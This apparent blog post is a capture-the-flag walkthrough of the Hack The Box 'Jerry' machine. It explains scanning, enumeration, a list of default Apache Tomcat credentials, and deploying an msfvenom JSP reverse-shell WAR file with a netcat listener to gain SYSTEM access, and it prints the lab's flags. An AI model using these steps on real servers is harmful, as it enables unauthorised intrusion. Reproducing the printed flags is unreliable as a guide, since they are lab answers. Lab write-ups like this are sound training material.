HTB Labs — Red Teaming Track— “Jerry” Machine Walkthrough | By: CyberAlp0

Hey Folks, this is CyberAlp0. Welcome to a new walkthrough featuring the machine "Jerry" from Hack The Box.

Jerry is a Windows-based machine that demonstrates how default credentials and an exposed administrative interface on a web application server can lead to a full system compromise. The attack chain starts with discovering an Apache Tomcat instance running on port 8080, accessing the Web Application Manager through credentials leaked in the 401 error page, deploying a malicious WAR file containing a JSP reverse shell, and obtaining immediate SYSTEM-level access — requiring no privilege escalation whatsoever.

Executive Summary

Below is a high-level overview of the attack methodology used to compromise the machine.

Stage I: Scanning

An Nmap scan revealed one open TCP port: HTTP (8080) running Apache Tomcat 7.0.88 on Windows Server 2012 R2 with JVM version 1.8.0_171-b11.

Stage II: Enumeration

Web enumeration uncovered the default Apache Tomcat landing page, confirming the server version and technology stack. Directory brute-forcing and manual inspection revealed the Web Application Manager at /manager/html, which prompted for Basic Authentication.

Upon clicking Cancel, the resulting 401 Unauthorized error page inadvertently disclosed the default credentials (tomcat:s3cret) within an example configuration snippet intended to guide administrators — a well-known Tomcat misconfiguration that effectively hands over administrative access to any unauthenticated user.

Stage III: Exploitation

Using the leaked credentials, full access to the Tomcat Web Application Manager was obtained, exposing the WAR file deployment feature. A malicious WAR archive containing a JSP reverse shell was generated using msfvenom and deployed through the Manager's upload functionality.

Upon triggering the deployed application by navigating to its context path, a reverse shell was established with SYSTEM-level privileges — the highest privilege on a Windows machine. No privilege escalation was required, as Tomcat was running under the SYSTEM account, immediately granting both the user and root flags located at C:\Users\Administrator\Desktop\flags\2 for the price of 1.txt.

The Attack Flow

Port scan → Tomcat on 8080
  → Check /manager/html → 401 error leaks credentials
    → Login with tomcat:s3cret
      → Upload malicious WAR file (msfvenom reverse shell)
        → Deploy and trigger the shell
          → Full access to the server

Let’s waste no time and begin pwning the machine…

Phase 1: Scanning & Reconnaissance

First we will start the scanning stage in which we will find all the opened ports and the services that are running on the target’s server. We will start 3 different types of scanning using the Nmap.

Firstly: Initial scanning

Run the following command on the target as an initial scanning

sudo nmap -sC -sV -vv -oN {The path where you will save the file} {The Target}

This will be considered as an initial scan for you to begin working on.

Based on the initial scan, there is a service that is running and over port 8080 and this service is "http-proxy" and it is running over port 8080.

Secondly: All Ports Scan

This scan will run in the background while you are working. Execute the following command

sudo nmap -p- -T4 -oN {The path} {The Target}

The result of the all-ports scan shows that the port which is open is only the 8080 which were resulted previously from the initial scan.

Thirdly: UDP Scan (Sometimes, it shows valuable information)

Execute the following command

sudo nmap --top-ports 50 -oN {The path} {The Target}

The UDP scan doesn’t show any useful information or any UDP ports that are running on the target’s server.

Upon that we can answer the first question which is: Which TCP port is open on the remote host?

The answer is: 8080

Phase 2: Enumeration & Information Gathering

At which we will start analysing the target’s URL and navigate the web application more based on what we have found in the first stage of scanning.

Firstly: HTTP/HTTPS (Port 80/443)

We will resolve the IP address in the local DNS server by adding the IP address in the /etc/hosts. Run the following command:

echo "{the target Ip cap.htb}" | sudo tee -a /etc/hosts

Now, we are able to access the web application through the web by typing the following URL in the browser:

http://jerry.htb:8080

Secondly: Manual checks

At this stage we will navigate the website for any headers, extensions, error pages, search bars, or file upload features. Based on navigation, we can see that the web server that is running on the remote host is "apache tomcat" and the version of the apache tomcat is "7.0.88"

Upon that we can answer the question which is: Which web server is running on the remote host? Looking for two words.

The answer is: Apache Tomcat

Thirdly: Directory brute-forcing using gobuster

Preform the following commands to see the possible directories that may be found on the target.

gobuster dir -u http://{Target IP} -w /usr/share/wordlists/dirb/big.txt

This command will try to use the wordlist called (big.txt) to brute force the target to find any directories

Based on the directory brute forcing result, we can find that there are multiple directories that returned with an HTTP request "OK" and code "302" which are as follows:

-        /manager

-        /examples

-        /docs

Based on that, we can test each of the three directories with the target URL to see the response. We will notice that upon hitting the following URL http://jerry.htb:8080/manager, we will be redirected to the following html page

http://jerry.htb:8080/manager/html

Upon that we can answer the question: Which relative path on the webserver leads to the Web Application Manager?

The answer is: /manager/html

You can run the following command for further enumeration.

gobuster dir -u http://target -w /usr/share/wordlists/dirb/big.txt -x php,html,txt,bak,swp,conf -b 404,301

We did a directory brute forcing on the target with blacklisting all the HTTP status codes 404, and 301, leaving only the more interesting responses. Based on the scan we have done, we find that the directory that appeared is what we initially (/manager, /examples, /docs).

Fourthly: Subdomain enumeration

At this stage, we will start brute forcing the domain to find whether there are other subdomains under this domain or not.

gobuster vhost -u http://target.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain

Based on the scan, we couldn’t find any subdomains for the target.

Phase 3: Vulnerability Identification

Based on the results of the scanning, and enumeration. We can find that there is a service called http-proxy is open and operating over the port 8080. Then, upon the manual checking and doing directory brute forcing, we managed to get a possible credentials related to the tomcat web application manager.

The username is: tomcat

The password is: s3cret

Upon that we can answer the question: What is the valid username and password combination for authenticating into the Tomcat Web Application Manager? Give the answer in the format of username:password

The answer is: tomcat:s3cret

Tomcat is a Java-based web server that can deploy web applications packaged as WAR (Web Application Archive) files. The first instinct with Tomcat is always to check for the Manager interface at /manager/html, because if accessible, it allows uploading and deploying applications directly to the server.

Note that: There are some tomcat default username and passwords you can use for the login, which are:

tomcat:tomcat
admin:admin
tomcat:s3cret
admin:tomcat
manager:manager
tomcat:changethis

After getting access to the tomcat web application manager, and as per the nmap scanning we have performed, we will note that the web application is running over Apache Tomcat 7.0.88.

Upon searching the web of the version of the tomcat, we will identify that there is a well-known CVE-2017-12617.

CVE-2017-12617 is a critical Remote Code Execution (RCE) vulnerability in Apache Tomcat. It enables unauthenticated attackers to upload malicious JSP files and execute arbitrary commands by sending a specially crafted HTTP PUT request. For more information about the exploit, visit the following link.

Phase 4: Exploitation/Initial Access

Here is a walkthrough of the previous process we followed till we reached till this point so you can understand the following steps:

1. Vulnerable Tomcat is running → Access to the application manager interface

The Manager interface is the most powerful feature in Tomcat. It allows deploying, undeploying, and managing web applications. If we can reach it, we can upload code to the server.

2. Manager requires credentials → which we found in the manager directory

Through the directory brute forcing we managed to obtain the default credentials, and leaked configuration files. In this case, the 401 error page handed us the credentials directly.

3. We have Manager access → Deploying the war files in the application

The Manager has a WAR file upload feature. WAR files are just ZIP archives containing Java web application files. If we can upload a WAR file, the server will automatically extract and execute it.

Upon that we can answer the question: Which file type can be uploaded and deployed on the server using the Tomcat Web Application Manager?

The answer is: war

Exploitation Steps

Step 1: Generation the malicious WAR file

Using msfvenom, we generate a malicious WAR file containing a JSP reverse shell. When deployed and accessed via the browser, the server executes the JSP code, which connects back to our listener and gives us command execution on the target.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 -f war -o shell.war

After creating the WAR file, Don't forget to give the WAR file the execution permission by executing the following command:

chmod +x shell.war

You will notice that the shell.war file has changed to the green color, which means it is now having the execution permission and ready to be uploaded to the target's application and to be executed.

Go to the tomcat web application manager and upload the WAR file then click on the deploy button. Meanwhile, open the listener on your machine and wait for the incoming connections

nc -lvnp 4444

After uploading the malicious war file to the application, trigger it by navigating the following URL:

http://jerry.htb:8080/shell

Navigating to the URL will trigger the application and will open a reverse connection to the target.

Step 2: Pwning the target through the reverse shell

Tomcat on Windows often runs as SYSTEM or Administrator. If so, no privilege escalation is needed — we already have full control. If not, we enumerate and escalate.

Navigate using the well-known windows commands till you reach to the c:\Users, where you will find the root and the user flags under a file called "2

You shall find the "flag.txt" file under the following directory

C:\Users\Administrator\Desktop\flags

The user flag of the machine "Jerry": 7004dbcef0f854e0fb401875f26ebd00

The root flag of the machine "Jerry": 04a8b36e1545a455393d067e772fe90e

Hope you enjoyed reading my blog about solving the “Jerry” machine from HTB —RedTeam Track.

See you in another write-up!.